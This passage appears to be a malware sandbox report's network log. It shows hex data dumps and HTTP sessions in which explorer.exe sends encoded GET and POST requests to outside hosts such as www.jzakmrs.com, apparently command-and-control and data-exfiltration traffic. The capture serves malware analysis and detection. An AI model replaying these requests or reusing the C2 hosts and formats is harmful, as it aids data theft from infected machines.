a0 1c 74 b8 77 f3 24 2f 1f a0 bf f7 2f ed fd b0 57 1a 3e 25 70 02 7d 4f 2b 1c cf 8b b2 e0 01 ba e9 4f 9d 32 88 b2 77 dd ff f1 53 fc 0a b8 75 94 67 df 20 3f cf 6b 50 de d8 c3 8b aa 22 71 4e 0f d0 3e c9 dd f8 ff 80 dd f7 21 fe 9c 28 fb c0 e9 59 c8 fb 04 f8 f5 03 e4 34 75 fe 9e d9 0b b9 7c b6 e2 47 fa 9b ee 10 86 5e 7b e0 4d d3 ef 25 a8 8a 3c ab c0 7d 94 f9 f9 8d a2 af 76 e5 2f ed 8d f7 d5 f4 aa 76 ea a6 ba 77 73 0f dc 4c be 44 cd b3 fb 29 14 fd 87 3f 9a 5d 02 a7 ca b3 af e7 e3 d4 f5 fc 21 24 bf 72 c1 95 64 17 9b ba f5 45 af 6f 3f 3d fb fd 99 d7 fd 50 28 6e 18 be 6a 8b 5e da a7 f2 0e b1 34 04 86 93 7c 66 ae ab 68 2d 41 01 9c fa 01 ca f2 fb e7 9f 6f 70 83 f8 57 23 5f b9 e2 63 82 25 d9 f7 c3 5e 69 d3 4b 7b a3 5d 69 79 2b 91 f3 85 52 7f 1e e2 3e aa 41 5a dd c0 fc 8c 24 1c 2d fa 0f a9 14 65 6f a9 3c 26 be 08 b4 6b 7f dc a0 bf c4 f1 3e af eb 3c 7d 80 06 1e 6f ca fe ac 40 2f a5 84 be 26 5e 59 e2 1d fe ad 19 06 77 df 7b c0 cd 4b 67 f0 df 03 d4 64 1e 28 87 22 f4 9e d1 ab c5 49 9c e1 f8 2b 6f 7c c9 e7 21 cc 5b 50 5e c5 d7 7b 31 1e fc dc 6d aa af c9 8e 5b 47 ed 6d e6 bc 0a 81 b3 34 39 a6 df 04 bc 12 e2 eb 28 7e ad 6b 9f 39 ea 2a 25 b1 2f cc d8 24 37 be f9 99 69 51 76 a9 d9 9f d4 bc 24 aa ea fb cb b2 32 04 7c 06 a0 bc a9 ab c8 03 97 97 37 f1 07 47 be 4a 77 53 8c 7f 86 d7 55 ff 9b b6 4d 02 25 d1 8d 58 7e 92 0f f9 35 54 c6 f7 1c 2e 9e 76 92 28 c8 1e 20 17 64 35 28 df e8 6f 90 df 6f f2 e6 25 e8 3f e3 74 59 70 1f 20 ec ab 1a 36 d4 cd fb 28 75 82 5b 37 fe 54 ea cb da 7b 99 3a ec 72 a2 2c b8 d5 6f 58 73 bb 97 f5 71 9f 27 de 9b 16 83 1d af b5 fc 68 83 2e 2f bd fb 7d 09 9c f8 01 ba 3c ee 9d 24 79 0f f0 a7 b4 aa 40 d9 82 12 72 3c af 04 d5 6d 49 f8 5a 84 37 33 7f ba 7c 5e 4f bc f5 d0 75 8c d0 37 a5 e6 03 ec 2f 93 7c 08 c6 37 b5 3f 99 1f a5 b7 76 df e7 a5 07 ca 2f b6 05 df dd bc 38 5d 56 db cf bc f5 52 9f 3e 14 af d7 74 26 a6 24 46 12 9f c9 f3 2f 29 f0 22 07 fa 4b 1a 65 cf fb bb 07 68 44 33 45 ff d7 1b 36 b7 51 7b 43 1e 8c 57 e4 d5 65 85 7a 80 4a 90 38 43 71 79 63 38 d0 87 36 54 2c 3f c9 bb 07 28 8c 3c 0f 64 1f 47 5c ad 4f 97 c8 7e ce eb f7 e3 de cc 39 60 de 8a f6 e9 2a 32 0c fc 99 15 1f ab fc 0d e2 a5 92 7e b2 29 1a 50 5e c2 77 7c bb 2f b8 81 f8 f3 59 7e 05 fa 3e d3 Data Ascii: 1343Zrz_OAJw1yB$ RU85d)d{,T.7w~&K~mkiAco)(}Y}_poOw5kdNY{K0+,wR2Cz@We}5:\|@r<aBQ$JBj^CGU}J4\nU1z{'/CyVN%-#'I iA7re:#=12p(N5H\|~qtw$//W>%p}O+O2wSug ?kP"qN>!(Y4u\|G^{M%<}v/vwsLD)?]!$rdEo?=P(nj^4\|fh-AopW#_c%^iK{]iy+R>AZ$-eo<&k><}o@/&^Yw{Kgd("I+o\|![P^{1m[Gm49(~k9%/$7iQv$2\|7GJwSUM%X~5T.v( d5(oo%?tYp 6(u[7T{:r,oXsq'h./}<$y@r<mIZ73\|^Ou7/\|7?v/8]VR>t&$F/)"KehD3E6Q{CWezJ8Cqyc86T,?(<dG\O~9`*2~)P^w\|/Y~>
Aug 29, 2023 22:44:37.009994984 CEST	347	IN	Data Raw: 07 c2 d0 ae a3 f6 63 c6 fd 79 be 0f 7e 54 56 f5 bd 1b 46 89 f7 99 ff 06 91 87 ed ea 2f cd f3 f5 12 30 88 7b 5d ea 99 eb 15 73 20 de 48 fb 6e c9 7a bf f5 ff 9f 42 7d 59 0c 2f 40 5f d5 ec 1b 79 fe a0 2c 0e 30 af 6b 08 8d 0f 5b 11 08 85 c6 bf 52 f0 Data Ascii: cy~TVF/0{]s HnzB}Y/@_y,0k[Rlc#Wy$fj!fu{U%f>L1-0fgP?)>1>FS&yF gYUWf(:9,_zjS,~tq`?x4B#xAkmk
Aug 29, 2023 22:44:37.010056019 CEST	349	IN	Data Raw: 92 4e 23 6d 2e ad 9d a5 40 91 7d c1 89 65 c2 18 f2 76 be c5 f6 31 01 b3 98 63 86 52 6f d6 80 a8 24 a1 55 57 72 41 1a 82 c7 a9 4b 95 1d ab cb 8d 2d 74 cd 91 22 d9 50 03 3d a1 3a b2 be e8 24 59 d6 13 3d d6 f6 5d 65 4c 0b 2f f5 f6 48 38 61 d6 ab 09 Data Ascii: N#m.@}ev1cRo$UWrAK-t"P=:$Y=]eL/H8ahHn,G5;Aa0j(!K,kc!`]]AzvD}Uiu) i`6'jJAG#aJUqFSJ%+T*2D:
Aug 29, 2023 22:44:37.010109901 CEST	350	IN	Data Raw: a3 46 a5 35 80 74 6c 56 72 fd 32 63 9d 93 bc 5a 6c 62 9d e9 72 6e 7e 32 60 d8 33 d7 55 23 cc e1 05 53 e0 dc 84 f4 45 af f2 8f 61 2f ea 6b 7d 97 34 92 b9 d8 96 46 65 4e 7d 4e 40 97 c1 59 4e 4a c7 60 da b8 a3 8f d9 36 6d 26 ab 29 63 04 2b a6 0e 61 Data Ascii: F5tlVr2cZlbrn~2`3U#SEa/k}4FeN}N@YNJ`6m&)c+a.B7b3;Hqc<"crWg`""xSEd,h[X{/6C]s:{&nmLxlZN8d^d@a6fPw`0dbN! eO0UVFf*S
Aug 29, 2023 22:44:37.010152102 CEST	350	IN	Data Raw: 61 0d 0a 03 00 47 1b 12 2a 84 27 00 00 0d 0a Data Ascii: aG*'
Aug 29, 2023 22:44:37.010190010 CEST	350	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.11.20	50015	43.154.67.170	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:26.820147991 CEST	1187	OUT	GET /aw8o/?5Nag0d=UlesByQg80m2WU0HDzVqUrsp1T02gVtkfCYiA++RXBnPIn/5M6wMAOepf8n8DD5LZF3oeyXHwwFgl9CxkHjE1ZdlQoQaBX7voA==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.fgnvcmef.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:46:27.062951088 CEST	1187	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Date: Tue, 29 Aug 2023 20:46:26 GMT Content-Length: 18 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.11.20	50016	164.88.252.122	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:32.642565966 CEST	1189	OUT	POST /aw8o/ HTTP/1.1 Host: www.jzakmrs.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.jzakmrs.com Referer: http://www.jzakmrs.com/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 43 2f 76 69 58 68 57 2b 74 67 38 64 39 4e 51 76 75 61 33 34 6c 64 33 67 33 5a 34 57 51 69 37 38 4e 72 34 44 45 6e 56 39 7a 36 75 72 65 37 68 63 75 75 72 55 38 37 4e 4b 47 58 78 56 32 34 2b 74 71 6f 61 4e 2b 38 79 71 34 52 6b 58 78 4b 4d 59 2f 68 71 76 62 2b 6a 64 6a 66 64 53 45 38 68 5a 6e 2b 66 57 4a 45 36 55 66 32 2f 56 44 4a 2b 37 37 61 79 7a 71 6c 37 6a 49 73 6e 77 34 32 69 45 7a 62 59 31 6a 6c 38 6d 4c 72 42 35 46 49 34 4a 49 73 35 55 4a 6a 64 6f 69 64 4a 6a 4f 68 2f 75 64 74 6f 36 33 66 62 73 46 65 4d 7a 2f 4c 34 50 70 51 3d 3d Data Ascii: 5Nag0d=C/viXhW+tg8d9NQvua34ld3g3Z4WQi78Nr4DEnV9z6ure7hcuurU87NKGXxV24+tqoaN+8yq4RkXxKMY/hqvb+jdjfdSE8hZn+fWJE6Uf2/VDJ+77ayzql7jIsnw42iEzbY1jl8mLrB5FI4JIs5UJjdoidJjOh/udto63fbsFeMz/L4PpQ==
Aug 29, 2023 22:46:32.842206001 CEST	1189	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 29 Aug 2023 20:46:26 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9 Connection: close Trace-Id: f90373af90f57f17f800be306928a28e Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.11.20	50017	164.88.252.122	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:35.359431982 CEST	1190	OUT	POST /aw8o/ HTTP/1.1 Host: www.jzakmrs.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.jzakmrs.com Referer: http://www.jzakmrs.com/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 43 2f 76 69 58 68 57 2b 74 67 38 64 73 59 59 76 6f 39 6a 34 31 4e 33 68 70 70 34 57 65 43 37 34 4e 72 38 44 45 69 35 55 79 49 4b 72 65 61 52 63 76 72 48 55 2f 37 4e 4b 49 33 77 64 79 34 2b 69 71 6f 65 46 2b 34 32 71 34 52 67 58 77 35 55 59 36 52 71 73 55 65 6a 65 6d 66 64 54 50 63 68 70 6e 2b 54 73 4a 41 36 55 66 6d 44 56 43 50 69 37 2f 50 65 79 67 6c 37 68 4b 73 6e 33 78 57 69 47 7a 63 51 4c 6a 67 51 32 4c 59 64 35 46 70 59 4a 4a 73 35 4c 48 54 64 52 36 74 4a 39 46 51 76 72 45 73 56 43 76 50 62 47 50 66 42 6b 39 49 52 58 36 41 67 53 57 56 4a 4a 6a 30 4b 70 58 73 4d 4f 4e 61 32 55 49 49 74 6f 30 6b 74 37 79 53 68 57 41 46 72 30 74 65 58 77 6f 41 67 66 5a 47 48 75 52 6b 6a 71 35 56 77 69 32 4f 70 74 76 4c 2b 6b 56 68 36 53 31 2b 67 62 63 64 6b 4f 56 53 79 77 61 50 67 46 54 43 30 73 68 4b 75 58 38 52 39 45 2b 64 30 62 77 43 4d 34 6a 76 6e 2b 71 7a 6a 61 4f 75 55 59 47 78 30 72 64 33 64 35 51 44 50 49 4b 41 33 4a 59 4f 52 31 4b 38 4a 71 64 37 38 46 35 41 79 63 33 43 76 2f 30 4a 66 4f 46 4d 41 6d 39 58 41 6c 36 79 56 76 73 65 4d 78 75 54 62 30 43 4b 48 4e 55 6f 76 41 4f 66 73 74 56 66 46 35 4e 70 61 4b 50 73 57 48 32 37 33 46 4b 2f 63 56 79 4e 7a 7a 4a 53 41 34 4b 49 66 38 54 33 77 43 79 68 76 72 42 54 6f 57 6e 67 76 37 58 48 49 32 37 6f 44 44 4e 39 39 34 67 33 45 4a 33 73 53 6f 4a 6b 6e 75 59 7a 7a 51 53 67 62 59 2f 41 32 72 35 57 6c 66 74 45 39 39 6a 6b 51 75 6e 72 79 56 44 4a 35 44 65 57 6e 6b 41 4c 47 48 65 6d 45 71 33 7a 75 38 72 2f 66 52 79 34 55 55 4b 51 4a 6c 59 54 46 4d 65 66 75 53 61 2b 4a 32 36 4d 59 44 56 38 31 6e 41 50 45 3d Data Ascii: 5Nag0d=C/viXhW+tg8dsYYvo9j41N3hpp4WeC74Nr8DEi5UyIKreaRcvrHU/7NKI3wdy4+iqoeF+42q4RgXw5UY6RqsUejemfdTPchpn+TsJA6UfmDVCPi7/Peygl7hKsn3xWiGzcQLjgQ2LYd5FpYJJs5LHTdR6tJ9FQvrEsVCvPbGPfBk9IRX6AgSWVJJj0KpXsMONa2UIIto0kt7yShWAFr0teXwoAgfZGHuRkjq5Vwi2OptvL+kVh6S1+gbcdkOVSywaPgFTC0shKuX8R9E+d0bwCM4jvn+qzjaOuUYGx0rd3d5QDPIKA3JYOR1K8Jqd78F5Ayc3Cv/0JfOFMAm9XAl6yVvseMxuTb0CKHNUovAOfstVfF5NpaKPsWH273FK/cVyNzzJSA4KIf8T3wCyhvrBToWngv7XHI27oDDN994g3EJ3sSoJknuYzzQSgbY/A2r5WlftE99jkQunryVDJ5DeWnkALGHemEq3zu8r/fRy4UUKQJlYTFMefuSa+J26MYDV81nAPE=
Aug 29, 2023 22:46:35.668446064 CEST	1191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 29 Aug 2023 20:46:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9 Connection: close Trace-Id: 2b27f75791f57f170201be30aa1aa725 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.11.20	50018	164.88.252.122	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:38.084657907 CEST	1204	OUT	POST /aw8o/ HTTP/1.1 Host: www.jzakmrs.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.jzakmrs.com Referer: http://www.jzakmrs.com/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 43 2f 76 69 58 68 57 2b 74 67 38 64 73 59 59 76 6f 39 6a 34 31 4e 33 68 70 70 34 57 65 43 37 34 4e 72 38 44 45 69 35 55 79 49 43 72 65 6f 5a 63 75 49 66 55 2b 37 4e 4b 41 58 77 63 79 34 2b 2f 71 70 36 2f 2b 39 75 36 34 54 6f 58 33 71 63 59 39 6a 53 73 66 2b 6a 66 2f 66 64 64 45 38 68 48 6e 2b 66 77 4a 45 57 75 66 32 33 56 44 49 4f 37 34 38 6d 7a 6a 31 37 6a 4b 73 6e 72 6e 6d 69 6f 7a 61 4d 62 6a 67 55 32 4c 62 35 35 46 61 77 4a 4c 2f 52 4c 4f 6a 64 53 67 64 49 39 65 67 75 52 45 73 41 7a 76 50 62 57 50 65 31 6b 39 4f 52 58 37 43 49 56 58 31 4a 4a 75 55 4b 71 64 38 41 30 4e 5a 43 4d 49 49 70 6f 30 6d 74 37 7a 79 68 57 52 58 54 37 39 75 57 35 73 41 67 49 50 32 4c 6d 52 6e 65 54 35 58 63 69 78 36 4a 74 75 38 71 6b 54 41 36 53 34 2b 67 5a 52 39 6c 55 63 79 7a 72 61 4f 51 7a 54 42 38 38 68 4a 43 58 7a 51 64 45 72 4d 30 63 34 43 4d 2b 74 50 6e 72 75 7a 76 47 4f 75 6b 45 47 78 30 37 64 7a 74 35 54 77 58 49 4c 42 33 49 56 2b 52 2b 66 73 49 77 54 62 68 4b 35 41 2b 55 33 43 48 76 30 4b 7a 4f 45 73 41 6d 32 58 38 6d 79 43 56 6b 6b 2b 4d 6e 71 54 62 61 43 4b 62 72 55 73 2f 51 62 37 6b 74 56 75 31 35 63 4a 61 4c 4b 4d 57 44 38 62 33 48 62 76 63 56 79 4e 2b 43 4a 53 63 34 4b 61 50 38 54 46 6f 43 33 79 33 72 61 54 6f 51 6e 67 76 6d 58 48 4d 46 37 70 58 68 4e 38 74 43 67 78 63 4a 35 5a 4f 6f 49 6c 6e 74 64 44 7a 56 59 41 61 43 37 41 4b 34 35 57 35 58 74 46 4e 48 6a 7a 67 75 31 2f 75 56 51 5a 35 41 56 57 6e 6e 4a 72 47 76 49 6d 34 32 33 77 62 42 72 2f 62 42 79 36 45 55 50 47 4a 35 43 67 39 74 63 73 79 56 62 5a 64 76 36 65 49 79 4f 64 6c 35 57 4c 7a 39 59 47 4d 63 62 49 74 45 41 52 38 76 48 56 6d 77 35 35 5a 2b 30 58 53 45 54 33 6e 39 30 54 69 4b 51 50 73 46 64 4c 56 44 66 75 4b 50 67 6e 64 47 45 58 36 4f 7a 4b 50 5a 54 63 53 66 74 4f 4a 6e 65 77 68 6a 74 48 32 4e 6a 43 78 57 4d 52 58 41 64 38 4f 39 77 6d 74 7a 65 46 42 71 49 52 72 42 58 61 6c 58 42 64 49 37 5a 38 76 45 33 4f 48 53 33 78 53 6b 31 36 76 6d 5a 31 4f 39 30 62 4e 4b 38 7a 67 4a 51 6b 53 6b 6d 38 69 78 38 42 6a 33 57 6f 6e 65 2f 4c 62 34 74 6f 37 75 49 69 76 37 6b 2b 65 4a 6e 42 4b 54 76 51 75 36 37 53 68 79 53 57 6a 30 4b 44 33 56 79 61 45 30 49 6a 39 6e 7a 52 44 54 63 61 62 54 68 6c 6b 6a 64 35 67 49 79 2f 31 73 45 6b 6a 75 38 74 68 5a 69 63 4a 51 58 72 5a 66 69 59 35 43 65 77 68 6f 36 55 6d 4c 4a 31 49 36 73 6c 76 43 36 74 78 68 48 36 55 2f 55 63 68 75 36 4e 6f 6f 47 4b 52 69 6b 53 44 70 59 79 69 4b 54 50 44 47 66 35 72 4a 34 2f 48 38 70 35 49 58 72 41 4a 43 48 55 44 78 55 52 51 75 58 55 59 73 2b 36 50 35 64 52 58 46 57 67 54 4e 63 69 35 78 75 74 52 79 6d 6c 45 76 70 55 51 35 7a 43 57 35 77 78 70 42 57 36 69 59 56 35 49 31 37 33 68 4d 73 69 41 46 55 31 4a 63 33 7a 30 64 32 44 32 56 73 42 64 32 36 50 63 6c 55 55 56 37 70 44 6a 6c 45 72 68 78 4e 36 36 71 73 59 73 39 63 50 4c 4c 6b 4e 33 7a 54 34 7a 57 45 45 70 42 66 6e 6e 62 77 6e 4c 51 33 67 59 2b 68 31 34 41 6c 30 6c 76 4e 6d 6a 31 43 51 79 31 4f 54 54 4e 36 32 43 66 31 76 36 55 62 73 74 35 52 72 67 43 73 66 78 65 6f 31 4c 67 66 65 42 50 55 73 49 50 62 6c 47 68 56 35 48 55 39 50 70 52 66 2b 42 62 67 4a 35 7a 54 67 49 52 36 55 30 36 72 62 79 41 67 6d 4f 46 53 4d 76 79 41 4c 37 4f 4c 79 6e 79 58 58 74 4e 70 5a 45 63 6d 63 77 47 76 5a 36 46 43 6c 78 51 77 45 78 51 46 72 57 30 78 36 4a 76 55 7a 32 42 51 6d 47 2f 6b 4b 63 5a 67 76 62 51 77 54 4e 63 42 5a 73 65 34 53 6c 59 79 55 2f 77 35 66 45 4e 37 30 65 49 79 71 75 47 50 4d 4b 36 57 36 5a 35 67 68 63 5a 49 47 30 51 53 47 64 79 36 65 51 65 44 58 73 2f 41 2b 56 2f 4f 57 39 7a 79 51 74 57 34 32 55 42 47 4e 45 49 4a 6a 50 50 67 57 74 69 2b 73 4b 34 75 67 4a 44 48 73 62 44 64 78 30 4f 68 6b 45 32 39 52 33 53 45 75 77 73 75 51 38 75 32 67 2b 37 71 4e 30 66 39 71 4f 78 41 43 69 6d 50 58 68 61 6c 36 46 52 30 43 72 52 70 75 45 57 72 6a 6f 32 51 51 53 4c 64 2b 42 38 2f 66 41 31 38 68 77 72 78 46 48 4e 68 51 79 2f 70 46 6c 66 70 64 5a 30 77 4b 55 32 58 2b 37 51 4f 6b 56 30 66 4d 4f 52 52 46 6d 75 78 71 42 2f 58 2b 46 46 51 4f 4d 41 69 63 2f 71 32 67 73 31 6c 51 72 39 6b 55 62 4c 45 59 53 4d 57 63 66 30 65 68 64 4a 44 61 2b 49 55 47 50 6c 69 65 55 4b 4e 31 5a 49 Data Ascii: 5Nag0d=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
